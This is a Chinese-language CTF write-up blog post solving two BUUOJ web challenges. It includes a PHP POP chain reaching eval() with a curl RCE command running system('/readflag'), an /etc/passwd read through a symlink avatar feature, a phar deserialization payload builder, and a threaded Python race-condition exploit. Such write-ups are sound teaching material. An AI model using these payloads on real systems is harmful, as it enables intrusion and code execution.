本来恰完KFC晚餐准备回寝室打游戏来着,路上被队友喊去做WEB了
说是今天BUUOJ上的比赛,但是已经打完了,做两题玩玩
但是我上一次碰CTF还是去年的省赛…
warmup-php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php spl_autoload_register(function ($class ) { require ("./class/" .$class .".php" ); }); highlight_file(__FILE__ ); error_reporting(0 ); $action = $_GET ['action' ];$properties = $_POST ['properties' ];class Action { public function __construct ($action ,$properties ) { $object =new $action (); foreach ($properties as $name =>$value ) $object ->$name =$value ; $object ->run(); } } new Action($action ,$properties );?>
参数action
用于输入类名
参数properties
用于输入对象的属性
完事后会执行$object->run()
函数run()
在ListView.php
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php abstract class ListView extends Base { public $tagName ='div' ; public $template ; public function run ( ) { echo "<" .$this ->tagName.">\n" ; $this ->renderContent(); echo "<" .$this ->tagName.">\n" ; } public function renderContent ( ) { ob_start(); echo preg_replace_callback("/{(\w+)}/" ,array ($this ,'renderSection' ),$this ->template); ob_end_flush(); } protected function renderSection ($matches ) { $method ='render' .$matches [1 ]; if (method_exists($this ,$method )) { $this ->$method (); $html =ob_get_contents(); ob_clean(); return $html ; } else return $matches [0 ]; } }
run()
-> renderContent()
-> renderSection()
其中函数renderSection()
为函数renderContent()
中正则匹配替换的回调函数
用于匹配{\w+}
的字符串,并将\w+
拼接到"render"之后,再检验类中是否有这个函数,如果有则执行,没有则输出{\w+}
再看TestView.php
的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 public function renderTableRow ($row ) { $htmlOptions =array (); if ($this ->rowHtmlOptionsExpression!==null ) { $data =$this ->data[$row ]; $options =$this ->evaluateExpression($this ->rowHtmlOptionsExpression,array ('row' =>$row ,'data' =>$data )); if (is_array($options )) $htmlOptions = $options ; } if ($this ->rowCssClassExpression!==null ) { $data =$this ->dataProvider->data[$row ]; $class =$this ->evaluateExpression($this ->rowCssClassExpression,array ('row' =>$row ,'data' =>$data )); } elseif (is_array($this ->rowCssClass) && ($n =count($this ->rowCssClass))>0 ) $class =$this ->rowCssClass[$row %$n ]; if (!empty ($class )) { if (isset ($htmlOptions ['class' ])) $htmlOptions ['class' ].=' ' .$class ; else $htmlOptions ['class' ]=$class ; } } public function renderTableBody ( ) { $data =$this ->data; $n =count($data ); echo "<hr />" .$n ."<hr />" ; echo "<tbody>\n" ; if ($n >0 ) { for ($row =0 ;$row <$n ;++$row ) $this ->renderTableRow($row ); } else { echo '<tr><td colspan="' .count($this ->columns).'" class="empty">' ; echo "</td></tr>\n" ; } echo "</tbody>\n" ; }
renderTableBody()
-> renderTableRow()
-> evaluateExpression()
函数evaluateExpression()
在Base.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function evaluateExpression ($_expression_ ,$_data_ =array ( ) ) { echo $_expression_ ." " .var_dump($_data_ )."<hr />" ; if (is_string($_expression_ )) { extract($_data_ ); return eval ('return ' .$_expression_ .';' ); } else { $_data_ []=$this ; return call_user_func_array($_expression_ , $_data_ ); } }
可以看到最终目的是调用函数中evaluateExpression()
的函数eval()
以造成RCE
那么可以构造出一个POP链
$template = "{TableBody}"
经过POP链run()
-> renderContent()
-> renderSection()
后
到达函数renderTableBody()
这里有count($data)
,然后进行迭代运行函数renderTableRow()
所以需要
$data = 1
到达函数renderTableRow()
后,有两条路可以进入函数evaluateExpression()
这里我走的是第一条路,只需要把rowHtmlOptionsExpression
设置为不为NULL即可
进入函数evaluateExpression()
后就会直接eval($rowHtmlOptionsExpression)
所以放命令即可
$rowHtmlOptionsExpression = "system(\"/readflag\")"
回到开头的两个参数,代入上述参数即可获得flag
1 2 curl http://aa876c17-0ddb-43f7-978e-1ca06b58fe7e.node4.buuoj.cn:81/?action=TestView --data 'properties[template]={TableBody}&properties[data]=0&properties[rowHtmlOptionsExpression]=system("/readflag")' | grep flag flag{e2fec3cf-a368-45da-9277-2f21aa384a78}
队友本来RCE成功了,hackerbar把phpinfo挡住了,以为没RCE出来…
soeasy_php
给的附件是个dockerfile,没啥用感觉
进来就是个上传点,但是我上传了个php后给我的上传路径后缀是png我就觉得不对了
F12查看源码可以看到还有个编辑头像功能
尝试将头像换为其他文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 curl http://45632cf4-8a41-4ab2-bf06-65db1ccc6307.node4.buuoj.cn:81/edit.php --data 'png=/etc/passwd&flag=' 成功更换头像 curl http://45632cf4-8a41-4ab2-bf06-65db1ccc6307.node4.buuoj.cn:81/uploads/head.png root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
然后就读源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php ini_set("error_reporting" ,"0" ); class flag { public function copyflag ( ) { exec("/copyflag" ); echo "SFTQL" ; } public function __destruct ( ) { $this ->copyflag(); } } function filewrite ($file ,$data ) { unlink($file ); file_put_contents($file , $data ); } if (isset ($_POST ['png' ])){ $filename = $_POST ['png' ]; if (!preg_match("/:|phar|\/\/|php/im" ,$filename )){ $f = fopen($filename ,"r" ); $contents = fread($f , filesize($filename )); if (strpos($contents ,"flag{" ) !== false ){ filewrite($filename ,"Don't give me flag!!!" ); } } if (isset ($_POST ['flag' ])) { $flag = (string )$_POST ['flag' ]; if ($flag == "Give me flag" ) { filewrite("/tmp/flag.txt" , "Don't give me flag" ); sleep(2 ); die ("no no no !" ); } else { filewrite("/tmp/flag.txt" , $flag ); } $head = "uploads/head.png" ; unlink($head ); if (symlink($filename , $head )) { echo "成功更换头像" ; } else { unlink($filename ); echo "非正常文件,已被删除" ; }; } }
一眼反序列化,但是半天没看见函数unserialize()
翻了翻笔记才想起来这玩意是phar反序列化
通过文件函数来触发反序列化
这里可以触发的有
fopen()
file_put_contents()
unlink()
首先参数png
的正则绕不过去,后面两个函数filewrite()
参数定死,函数unlink($head)
参数定死
那就剩下最后一个函数unlink($filename)
了
而执行函数unlink($filename)
需要函数symlink($filename, $head)
寄掉
尝试给filename塞个数组进去,symlink确实寄了,但是unlink也寄了
想来想去还是只能竞争symlink了
只要我请求够快,就会有两个PHP线程在unlink($head)
之后执行symlink($filename, $head)
但是symlink()
不能创建同名链接,所以慢的那个会False,然后运行unlink($filename)
,即触发phar反序列化
即使触发了phar反序列化,flag内容被写入到了/tmp/flag.txt
要读取flag必定要symlink("/tmp/flag.txt", "uploads/head.png")
,然后访问head.png
但在此之前,会执行filewrite("/tmp/flag.txt", "Don't give me flag");
或filewrite("/tmp/flag.txt", $flag);
也就是说/tmp/flag.txt
会被覆写,所以需要再进行一次竞争
但是从总体流程上来讲,这两次竞争完全可以放一起,以达到以下竞争效果
1 2 3 4 5 6 覆写错误flag -> symlink链接phar文件 -> symlink竞争触发unlink(phar) -> 覆写正确flag -> symlink链接/tmp/flag.txt -> 读取正确flag
这个思路看起来有点天方夜谭,但是还是能竞争出来的
(这题做出来的时候总感觉自己是非预期解法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class flag { public function copyflag ( ) { exec("/copyflag" ); echo "SFTQL" ; } public function __destruct ( ) { $this ->copyflag(); } } $a = new flag();$phar = new Phar("exp.phar" ); $phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER();?>" ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport threadingreq = requests.session() url1 = "http://270056b0-3eb6-4a8e-afc5-b70bdf3e8f4b.node4.buuoj.cn:81/uploads/head.png" url2 = "http://270056b0-3eb6-4a8e-afc5-b70bdf3e8f4b.node4.buuoj.cn:81/edit.php" def unlink (): req.post(url2, data={"png" :"phar:///var/www/html/uploads/01908b979c3dea9fc658e68ab8c560e4.png" , "flag" :"" }) def symlink (): req.post(url2, data={"png" :"/tmp/flag.txt" , "flag" :"" }) if __name__ == "__main__" : for _ in range (10 ): t1 = threading.Thread(target=unlink, args=()) t2 = threading.Thread(target=symlink, args=()) t1.start() t2.start() while True : flag = req.get(url1).text if "flag" in flag: print(flag) break
1 2 python exp.py flag{eea59afa-414d-4045-8d7f-808abc804951}
两个题做了五个小时,只能明天打游戏了